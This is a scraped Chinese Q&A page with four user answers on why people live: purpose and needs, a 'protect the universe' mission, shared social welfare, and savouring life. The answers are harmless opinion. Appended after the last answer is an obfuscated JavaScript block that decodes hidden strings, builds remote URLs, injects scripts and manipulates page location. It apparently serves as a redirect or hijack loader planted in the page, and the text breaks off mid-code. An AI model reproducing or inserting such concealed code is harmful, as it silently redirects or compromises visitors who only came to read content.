人为什么而活着?人活着为了什么?

人活着为了什么?人为什么而活着?
2024-11-28 01:31:42
推荐回答(4个)
回答1:

这个话题很大,很大,我也不知道自己能不能说清楚。不过在此我将尽我所能的将我的一点认识写下来,以飨世人。
首先,我们的生存本身并不受我们主观意志控制。我们从一个婴儿呱呱落地,对这个世界一无所知,充满了好奇。在这一点上,我们与很多动物毫无区别。好在我们是人类的后代,我们逐步的具有了自我意识,于是我们开始反思自己从何而来,为何而来,最终又如何而去。
因此,我有一个大胆的假定,我们活着的一个目的便是搞清楚自己为何而来。现在继续假定,假定我们已知道我们是为何而来,那我们的下一个目标就是如何达到这个目的。现在继续假定前两个问题都得到了解决,那么我们现在该考虑的是具体行动了。
如此以来,我们活着的目的便是弄清楚我们要达成的某个目标,并思考达成这个目标的方法,继而开始具体的行动。
然后,现在的首要问题是解决我们要达成的某个或某些目标到底是什么?
因为人类有智慧,可以思考,并产生了称为逻辑的东西。我们相信任何事物都是因果相应的,我们人类自身也不例外。所以我们现在首要达成的是我们人类本身是什么东西,如何给自己定位。我们是生物,也是动物,也是有智慧的动物,我们人类与其他任何生物都有所相同又有所不同,那么人类到底是一个什么东西呢?从年长的人哪里,我们获得了很多关于人的东西,像人应该做什么,不应该做什么,应该怎么做,不应该怎么做等等。于是我们明白了,具有这一切特征的东西便是被称作人的生物。可是这样的解释并不能让我们满足,因为这一切只是告诉我们人是怎么样的,并没有告诉我们人为什么是这样的?
那么我们换个角度,继续思考这个问题。
因为人是生物,所以我们具有了生物的特征,如趋利避害;因为人是动物,所以人可以移动;因为人具有智慧,所以人可以更好的认识这个世界。因为我们具有智慧这一超越其他所有生物的东西,使得人类客观上具有了主宰世界的能力,就像王子生下来就已经有了王族的血统一样。
至此,我们可以给人类做一个简单的定位:人类本身是地球生物的一种,却具有着主宰地球上其它生物的能力。
当人类意识到自己的独一无二,世界主宰的身份之后,人类便开始做这样一个梦——征服一切,成为真正的主宰。所以做这个梦,也是由于智慧,人类想用事实来证明自己确实是这个世界的主人!在很多方面,人类获得了成功,比如征服大江、征服野兽、征服高山;同样的在一些方面,人类却是步步受挫,比如人类的寿命,未知的广阔宇宙。
所以,现在我们要对人类的定位做一个修正:人类本身是地球生物的一种,却具有着主宰地上其它生物的能力,同时人类的寿命是有限的,人类赖以存身的宇宙是广阔的、未知的。
如此看来,人类生来就陷入了一个矛盾之中,一方面是无上的智慧,一方面是广阔的未知。人类中的一部分,终生致力于探索世界、探索宇宙,力求揭开这个神秘的黑洞。。。更多的人选择了不求甚解,不求完美,把关注的重点从这宇宙的大疑团中抽身而出,转到了下一步中去。
现在我们对人类有了一个简单的定位了,我们也各自选好自己的队列了,那么我们下一步是什么呢?对,答案就是我们该如何利用我们的条件,达到什么样的目的。在这一阶段中,我们把关注的重点转向了自身,自身的需求,自身的作为,自身的需求的满足。
自身的需求这一块,因人而异,受到个人智慧开化程度的影响。生存的需求以及社会流行的趋势都对我们有影响,总体而言可以分为两类需求——精神需求和物质需求。马斯洛的需求层次理论很不错,可以学习借鉴,换成我们这边的话说就是——这山望着那山高,在低层次的需求满足了之后,便会向往更高层次的需求。
再望下讨论,更多的牵涉到了人性的问题以及人类社会化的问题,可以说是世间百态,无奇不有。本人自忖笔力、学识俱有限的很,就不展开了。
进行到这里呢,我想我已经可以简单的回答,人活着是为什么这个问题了。
人活着是对未知世界的探索的一个过程,既有人知我不知的可知世界的经历过程,也有未知甚至不可知的世界的探索过程;人类在智慧逐步得到完善的过程中,产生了因人而异又绝大部分受制于社会的需求,人类的目的接下来便是在这受限的自由中满足自己的需求,比如对某种艺术的热爱、对声色的欲望、对智慧完善的愿望、对功成名就、成家立业的渴望等等。
总之,人从出生开始就是被动的接受,被动的改变,被动的活着,常规意义上的主动,也不过是一种狭隘的自由罢了。从这种意义上来说,人类实在是没有资格问活着是为什么这个问题,因为我们只是活着的产物罢了。
所以,我们活着的具体目的有很多,可以是很多,这些都要看你自己想要达到什么样的目的。各种目的之间也没有什么高下之分,因为非要分出个高下,也不过是以五十步笑百步罢了。可以说,只要我们向着自己的目标前进,感受着目标一步步的靠近,是可以体会到幸福、快乐的。只是有一点,我想说明,这个目的要是你自己内心真正想达到的目的,只有这样你才能获得更多的幸福与快乐。
【暖冰】
人活着就是为了自己,为了满足自己的需求。

回答2:

●我们到底为什么活着?我们是否有“使命”?人生的意义到底是什么?真的是每个人的“人生意义”都不一样的吗?人类和其他所有生物的存在真的是“偶然”的吗?
●首先全球有亿亿万个生物的存在,这就说明了“生物”的存在是一种必然;因为“偶然”的事件是不可能反复出现的。
●那到底是什么的必然呢?
●我问一个问题,您就会比较清楚了:如果我们人类这个“物种”要更好的存在,甚至“永生不灭”,是不是首先要确保“宇宙”的“安全”甚至“永生不灭”呢?毕竟“宇宙”灭亡了,我们又怎么可能“生存”呢?
●“宇宙”真的可能灭亡吗?
●“宇宙”是一个“整体”,也包括了进化了这么久的一切“生物”,而一个“整体”的“存亡”是相当微妙的,所以“宇宙”无人看管就可能“灭亡”,因此“宇宙”的存亡与我们“息息相关”!
●或者说:我们之所以“存在”,就是要确保“宇宙”的“存在”;我们才是“宇宙”的“保护神”。
●那么也就是说:人类和所有生物都是“宇宙进化”的“必然结果”,因为“宇宙”也是朝着“可以更好存在”的方向“进化”的。
●除了“保护宇宙”的“使命”以外,我们还有一样重要的“使命”那就是“衍然”(繁衍自然)!就像“氧气”+“氢气”+正常环境点燃这个“母体”一直都在繁衍“水”这个东西一样,这个“宇宙”的壮大就是因为它用“自然”繁衍了“自然”以致无限的!
●所以很多时候所谓的“上帝”其实就是“人类”自己了,因为我们又要“创造事物”又要“保护宇宙”。

◆因此我们有两大“使命”:“导存”(引导自己和整个宇宙的存在)和“衍然”(繁衍自然/创造事物)

◆或者我们可以这样比喻:

●如果我们饲养的鸡鸭也作相同的提问:我们为什么而活着,我们活着有什么使命吗?
●然而现在已经不是它们可以决定为什么而活着的问题了,而是为什么它们就被人类养活了的问题了。
●我们饲养鸡鸭,让他们出现在这个世界上(当然鸡鸭最先的出现并不是人类控制的)是有原因的,是因为我们要生存,所以我们饲养它们来作为食物。
●那么客观的来说整个宇宙也正在“饲养”着我们,那么是不是也有原因呢?而且这个原因是无论你喜不喜欢它都会产生作用的,就像人类饲养的鸡鸭无论喜不喜欢自己被生出来,它们也都被人工孵化和饲养了,最后也都被我们吃了(当然也有自然死亡的,这也就是和自然使命的区别),从而保障了我们的存在。

●而我们无论想不想被生下来、想不想创造事物、想不想保护宇宙;我们都毫无选择的被生下来,一生下来就开始创造各种事物,一生下来又都有强烈的求生欲望,然而如果要让自己存在,就必须首先保证宇宙的存在,不管你现在有没有能力、想不想去保护;毕竟宇宙都没了,那么自己还怎么可能存在?
●如果您认为宇宙不需要人的保护,这就像人们说“这个地球少了谁都还是照样转”一样,但问题是如果现在有大陨石来撞击地球,但却没有人通过发射导弹来改变轨道等,地球还会存在吗?
●宇宙是一个整体,也包括了进化而来的所有生物,而一个“整体”的存亡是相当微妙的,没有特定的保护和“存在保障”是很容易灭亡/崩溃的。
●也许所有生物、星球都灭亡了,“真空”还会存在,但是问题是:真空并不能代表整个宇宙,所以这个宇宙的概念一定要搞清楚才行。
●也许您还会说:人类没资格当宇宙的“管理者”。然而“管理者”这个角色并不是你现在没有足够的能力,就可以不去做的;就像:你生下来,也并不是马上就知道怎么去管理自己的生活啊,但是你不是也必须要去管理吗?

●然而“保护宇宙”这件事情似乎太虚幻了,我们根本就没有能力去做的,但是只要我们看看我们进化的历史,就可以发现我们的能力正在逐步的增强,如果在恐龙时代,那么不要说保护宇宙了,就连保护一个地方都无从说起,然而今天的人类却已经开始有能力进行保护地球了,随着科技的发展,我们进化的最终使命就日益的明显起来,那就是保护宇宙!我们最终是有能力也是必须保护宇宙的,因为这是所有人存在的基础。

●如果我们进化的使命真的是“创造事物”(繁衍自然,使宇宙成长)和“保护宇宙”(引导宇宙更好的存在),那么它又是如何把这种“趋势”嵌入我们“大脑”的呢?
●那就是“情感”!您将会发现我们都有一些深层次的“情感”和“乐趣”如:“使命感”、“伟大感”、“神圣感”、“好奇感”、“成就感”等,正引导着我们去“挽救世界”、“保护宇宙”、“创造事物”;而这些“情感”所产生的力量往往是大于“个人利益”和“儿女私情”的。
●因此也可以看出来人类的“情感”并不是只引导“自己”的存在,否则我们“最深层次的情感和乐趣”应该是“个人私欲”和“儿女私情”而不是“使命感”和“伟大感”。
●所以人类即不是为了“赎罪”而存在,也不是为了“享乐”而存在,更不是为了“寻找另一半”而存在;而是为了保护和壮大宇宙而存在。
●也因此,我们必须珍惜自己的生命,不可轻生。毕竟组成我们这个身体的物质,都是拥有亿亿万年的“存在历史”,并从宇宙存在以来经过亿亿万万年才能凝聚在一起的,如果我们就这么死了,我们对得起它们对我们的期待吗?对得起这么长时间的凝聚吗?
●可以说:宇宙为了能够更好的存在,所以才进化出了人类,宇宙才是所有人的真正父母;而我们就是这个宇宙真正的“精灵”和“保护神”。既然我们的“存在”就是为了保护宇宙并使其壮大的,那么我们又有什么理由不去完成我们的使命呢?
●那么“人生的意义”又到底是什么呢?
●那就是“创造事物”、“保护宇宙”,从而与自己“心爱”的“人”或“事物”生活在一起,并获得“更多”、“更长”、“更深层次”的“人生乐趣”;所以,人生意义的大小,主要在于您创造出来的东西对当代人和子孙后代有多大的帮助,又在保护宇宙方面有多大的贡献(如:探索真理性认识,是保护宇宙的前提,这点所有人都可以去做)。

那么怎样完成我们的使命呢?
●其实只要我们活着,那就已经在完成我们的使命了,只是完成使命的大小不同而已。
●为什么呢?因为只要我们活着,那么我们就是和整个人类或生物界分工合作,从而直接或间接的创造事物和保护宇宙(毕竟,如果这个世界上只剩下你一个人的话,您连乞丐也做不成了,更不要说有那么多产品可以消费;而且就算你没有直接的保护宇宙,但是就是因为有了你的分工,所以才有了那些专业保卫宇宙的人们)。
●因此,您可以将其他人看作是自己为了更好保护宇宙和壮大宇宙(创造事物),而繁衍出来的“分身”,是在不同环境中成长起来的,拥有不同生理特征的“自己”;只是如果你要让“另外的自己”去帮助自己做事,那么就必须通过特定的渠道如“金钱”、“情感”等进行合作(但总比没有好)。

●我们“具体的使命和人生意义”当然是不同的,是可以自己定义的,自己赋予的。但是它们却都是属于同一个“类别”的,那就是“创造事物”(衍然,繁衍自然)和“保护宇宙”(导存,引导存在),这点是客观存在,不可改变的;您想想我们从生到死所做的所有事情还不都是在“创造事物”吗?而且如果我们要使自己“可以存在”那么不就必须保证“宇宙”的存在吗?
●人们有些为了“环保”,有些为了“国家”,有些为了“父母”、有些为了“自己”;在紧急的关头,人们总是有不同的抉择,但是也许在一个更紧急的关头,所有人都只有一个抉择,那就是:当自己的所做的事情直接关系到“宇宙”或“世界”之“存亡”的时候!因为不管他们在乎的是什么,他们都必须首先确保“宇宙”或“世界”的“存在”。
●每个人的“能力”和“时间”都是“有限”的,也许你不能直接的“保护宇宙”或做出对人类有多大“贡献”的事情来,但是因为有了你的分工,所以才有了那些专业保卫宇宙的人们和做更大贡献的人们。
●所以我们努力的去做对社会、人类、宇宙更有利的事情,但是如果我们真的达不到自己的目标,就算我们平淡一生,我们也将无怨无悔,毕竟“只要我们活着,那就已经在完成我们的使命了,只是完成使命的大小不同而已”。

●很多人认为我们每个人首先是要“为自己”,然后才能“为家庭”,最后才能“为社会”、“为世界”。这样的观念,是没有看清楚事物原本面目的结果。为什么呢?因为我们首先必须要参与各种“社会分工”、“生态分工”,从而得到一些工资、食品等,而后才能“为自己”、“为家人”。所以只要你一生下来,就首先在“为社会”、“为世界”而分工着,而不是首先“为自己”、“为家人”。

●所以我们所谓的自私只是在客观的无私里拿回自己应得的那一部分而已;而且,当我们参加了各种社会、生态的分工后,得到的报酬当然是首先得为我们自己和家人进行各种关怀,毕竟整个世界已经形成一张互相编制在一起的大网,只要每个人都能管好自己、家人和朋友(如果你也把那些孤苦的人当做朋友的话就太好了),那么整个世界也就富有了,而如果您首先不为自己的家人做点事情,那么是不会有太多人对他们进行真心的关怀的,那么也许幸福的漏洞就出现在您的家里。但千万不要忘记了:您只有先帮助了其他人,参加了社会分工或生态分工,而后才能帮助您的家人和您所爱的一切,所以我们还是把自己的精力多花在如何做好社会分工这一块吧!毕竟这块做好了,其他的都会附带的出现在我们的生活里。

那么如何更好的完成我们的“使命”呢?
●首先我们自身的情感如“使命感”、“伟大感”、“神圣感”等将会作为“最深层次的乐趣”来引导我们更好的完成使命,您可以常看相关的影视节目,特别是科幻片来加强这些情感,让这些情感引导我们自动的朝着正确的方向前进。
●其次,既然现在我们已经知道了“情感”存在的目的就是为了更好引导“宇宙”和“自己”的存在;那么我们还不如主动的去做一些可以产生“更多”、“更长”、“更深层次”的“人生乐趣”的事情,从而更好完成自己的使命。
●比如:探索、研究、发现、制造、发明、正当经商、认真工作(制造好产品,做好分工)、进行公益活动、环保、消除恶性不平等、消除战争、消除经济危机、让每个人干的活都很值钱、甚至预防宇宙灭亡等;从而使自己的心灵生活在天堂之中。

●总结性简化:要更好的完成我们的使命,使人生更有意义,只要努力使自己得到更多、更长、更深层次的人生乐趣就好了。

(说明:乐趣是我们的默认引导系统,如果我们要得到更多、更长、更深层次的人生乐趣,就必然会去:探索、研究、发现、制造、发明、正当经商、认真工作(制造好产品,做好分工)、进行公益活动、环保、甚至:消除恶性不平等、消除战争、消除经济危机、让每个人干的活都很值钱、预防宇宙灭亡等;从而使自己的心灵生活在天堂之中。)

◆使用逻辑:世界万物都朝着“更好存在”的方向发展,而如果不能出现一个“存在”的“保障”,那么就太“危险”了,于是我们找到了自己存在的“理由”和“使命”。

回答3:

人生在世之目的究竟是为了什么?为了自己及子孙后代的生活过得更加幸福更加美好,这是无容置疑的事实和人类之所以为生存而奋斗追求的源动力!那么,什么才是我们幸福的生活呢?又,如何才能使我们自己的生活过得更好一些更幸福一些呢?还有,我们自己的幸福与他人的幸福如何协调,才能达到一致又不会因矛盾而产生冲突呢?此三大问题就是我们在追求自己人生目标的时候,不可忽视和无法回避的现实问题了。
然而,我们要怎样才能很好地处理和协调这三个问题呢?这是我们人类社会一直以来都在探讨和摸索着的人类重大课题了。
一、人类之普遍幸福观。
什么是人类普遍幸福观?它是指每个人能否生活于一个自由、平等,社会风气健康,生活环境良好,物质财富与精神财富较丰富的社会生活环境之中。作为健康文明的人类,每一个人应是希望他自己及周围亲人朋友们生活在一个自由平等的社会制度之下,生活于一个具有良好的伦理道德社会风气里面,生活于一个没有污染的生活环境之中,生活于一个物质财富与精神财富日益丰富的社会之上;这就是每一个健康人的正常要求;也是我们的人生在世追求和奋斗的人生目标了。我们决不希望自己及子孙后代们生活于一个严重威胁自己生存的社会环境之中,生活于一个物质财富与精神财富十分匮缺的世界之中,生活于一个没有人身安全感、人身没有自由的社会里头。这是一种自然而然的选择。
那么,为了我们人生在世能够达到和享受到自己的人生目标,我们在现实社会生活中又应该如何做,才能实现和达到我们自己的人生在世之目的呢?
这是此处接下来要进行讨论的关键问题。
二、要使自己过上更加幸福的生活,我们自己就必然付出劳动创造财富。
人类的幸福生活是从低级向高级发展,人类所享用的物质财富与精神财富也是从少到多、从低级到高级的发展演变过程。而这个过程都需要人类本身付出劳动和不断创新的过程;因而说,人类之幸福生活,它不会自己从天上掉下来的。这一切都需要人类自己地不断努力与创造。没有人类自己的劳动创造,人类社会的物质与精神财富就不会从无到有,从少到多,再由低级向高级方向发展这一良好繁荣局面。正因为人类自己能够懈而不舍地不断劳动创造,人类才能从原始作业向手工业发展、从手工业向机械化自动化发展这一过程。人类的物质财富和精神财富才能日益丰富起来,人类才能日益过上理性智性的文明生活。
从一定意义上说,人类从野蛮走向文明,从愚昧走向明智,从低级走向高级;包括科学技术的突破,社会制度的发展等都离不开人类自己本身地辛勤付出。一个明智公平的社会,在人类共同地努力下,每一个人所取得和享用着的生活幸福程度要比一个愚昧不平等的社会之人们多得很多(就算他是该社会的最高统治者也无法享受到现代科技的好处)。而且,一个生活于愚昧不平等的社会中人,他有时并没有享受到幸福,只有被欺压被奴役的不幸福生活。因为愚昧的不平等社会,是一小部分人统治大部分人、一小部分人压迫大部分人、一小部分人奴役大部分人的野蛮社会。而此等不劳而获者不仅不用付出劳动,而且还要占据社会巨大的财富。并且,由于统治者为巩固它们的统治地位与利益,它们必然要对民众进行愚弄与欺骗,蓄意制造致使这大部分人丧失了思维能力。在愚民政策的欺骗与愚化下,民众当中能挣破此牢笼者不知聊聊能有几个?在这个只有几个会创新者,这个社会进步能有几何呢?绝大部分人只是被强迫地奴役,又何能有创新思想呢?致多只会模仿,或模仿能力发达些罢了!此等社会创新能力又必然是何等低下的,该社会进步也必然是极其缓慢迟滞的!假如此两种制度同时存世的话,那么,后一种的创新水平只会永远跟着前一种屁后走着,这是必然之结果!
三、你我他都是生活于同一个家园中的命运同共者,大家的利益关系都是统一一致的。
每一个生活于某一时代或某一社会中的人们,无不烙上该时代或该社会的印记,即该时代或该社会出现什么样的物质财富和精神物质,每一个生活于该时代社会的人们只能享受到其怎样的物质财富和精神财富,而不可能超越时代享用。如飞机只能为生活于二十世纪以后的人们享用着,二十世纪前的人们就绝对享用不了的这个道理,就算他拥有再多的财富或帝王也是枉然的。从而说,没有人类社会的进步,就不可能享受到更多的物质财富和精神财富,就不可能享受到更加幸福美好的生活。只有社会进步了,而生活于该时代社会的人们才能享受到更加高级的生活水平。这就是全部人类都是命运共同的道理所在!这个道理还在于,如果人类在对既有的财富一味进行争抢和掠夺,只会使时代与社会停留于一个既定的社会生活水平当中。纵然他是封建王朝中的帝王亦是如此,他只能享受着这个时代有限仅有的物质财富而已。如外出旅游时,只能坐着人力桥子或马车落后的交能工具;而没有即时可达的飞机交通工具。此种行为无助于社会进步,而只会内耗和滞涉,甚至是破坏,创新只会是水中捞月,缘木求鱼!
既然人类都是命运共同者,人类唯有共同创造和付出,当人类取得进步和发展的时候,人类本身才能获得更加丰富的物质生活与精神生活及更大的幸福。从这个意义来说,人类的利益和幸福生活是共同一致的,人类的命运亦是休戚相关的,这就是人类社会的真理!
然而,人类要维护共同的利益与命运,维护自己生存的安全,防止和制止任何有威胁人类生存的隐患。因此,提倡社会伦理道德和社会正气及社会法制是维护人类健康发展,保障人类社会进步的必要条件。
社会道德、正气与社会法制是相辅相成的保障人类社会共同利益的有效行为规范。前者偏向于教悔,具有柔性和弹性;后者侧重于约束,具有威严和刚性。当人类社会还尚处于半文明状态时,法制的作用就显现它的巨大重要性;而当人类社会进化到一个文明理智、科技高度发展的状态时,道德则发挥了它良好的作用。
在一个半文明状态时的人类社会,由于人性的半野蛮性质尚未进化掉,人类的道德尚未到达一个良好的高度,人类也往往会为了自己个人的私利而作出侵害大众的公共利益;而此时,健全的法制就能起到制约此侵害公众利益的野蛮行为。在一个文明程度较高,人类越来越理性化和智性化的社会时,人类往往能自觉地遵守和行自己的对社会的责任与义务,自觉维护人类社会公共利益;而此时,社会道德就能起到倡导提议社会良好行为风气、化解人类中人性之弱点的重要作用。
人类维护自己公同利益是一种明智的选择,这是任何人都不能以自己个人的自私利益就能做出侵害公共利益的恶劣行为的。当它作出侵害公共利益,在伤害他人的同时,也会危及自己及自己子孙的利益,如污染环境等。这些很浅显的道理,这里就赘述。
所以说,人类的公共利益对一个人来说都是统一一致而不相对的矛盾关系。人类的公共利益当中就包含着你我他每一个人的私有利益所在。即你侵害了公共利益,那你就必然也侵害了他人的利益与自己的利益,这只有过是由于你自己的短视而看不到罢了。
唯有在维护了人类公同的利益与不断促进人类社会进步,我们的人生目标才能得到实现,我们的人生在世的目的才能得到充分的体现,这就是人类的明智选择。

回答4:

这个问题从古到今,不知有多少人在寻求一个满意的答案,但没有一个完整而详尽的答案适用于每一个不同的人。每个人的成长道路、生存环境、命运际遇不同,对人生的理解、对事物的看法、生活的目标不一样,“活着为了什么”的结论也不尽相同。
我是这样理解的:人活着,是“享受”生存的过程,这种“享受”,也许是愉悦舒畅的、也许是痛苦煎熬的、也许是长久沉默的、也许是短暂辉煌的。但生存只有一世,既然没有来生,就应该让此生存在的比较有意义最好,那就过好每一天吧,从现在做起,从此刻行动,不必纠结于过去,把握这个生存的过程,一路看风花雪月、欣赏窗外风景,随时准备在路途下车、无憾离去,也是对此生命的尊重。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 